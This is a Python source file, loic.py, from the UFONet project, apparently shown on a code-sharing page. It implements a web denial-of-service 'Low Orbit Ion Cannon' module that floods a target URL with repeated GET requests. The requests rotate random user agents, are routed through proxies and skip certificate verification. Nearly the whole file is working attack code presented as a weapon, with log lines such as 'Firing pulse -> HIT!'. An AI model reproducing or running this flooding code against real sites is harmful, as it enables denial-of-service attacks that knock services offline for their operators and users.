loic.py 2.0 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import sys, random
  11. try:
  12. import requests
  13. from requests.packages.urllib3.exceptions import InsecureRequestWarning # black magic
  14. requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
  15. except:
  16. print("\nError importing: requests lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-requests'\n")
  17. sys.exit(2)
  18. # UFONet DoS Web LOIC (Low Orbit Ion Cannon)
  19. def ionize(self, target, rounds, proxy):
  20. n=0
  21. try:
  22. proxyD = {
  23. "http" : proxy,
  24. }
  25. for i in range(0, int(rounds)):
  26. n=n+1
  27. self.user_agent = random.choice(self.agents).strip()
  28. headers = {'User-Agent': str(self.user_agent)}
  29. try:
  30. r = requests.get(target, headers=headers, proxies=proxyD, verify=False)
  31. print("[Info] [AI] [LOIC] Firing 'pulse' ["+str(n)+"] -> [HIT!]")
  32. except:
  33. print("[Error] [AI] LOIC: Failed to engage with 'pulse' ["+str(n)+"]")
  34. except:
  35. print("[Error] [AI] [LOIC] Failing to engage... -> Is still target online? -> [Checking!]")
  36. class LOIC(object):
  37. def __init__(self):
  38. self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
  39. self.agents = []
  40. f = open(self.agents_file)
  41. agents = f.readlines()
  42. f.close()
  43. for agent in agents:
  44. self.agents.append(agent)
  45. def attacking(self, target, rounds, proxy):
  46. print("[Info] [AI] Low Orbit Ion Cannon (LOIC) is ready to fire: [" , rounds, "pulses ]")
  47. ionize(self, target, rounds, proxy) # attack with LOIC using threading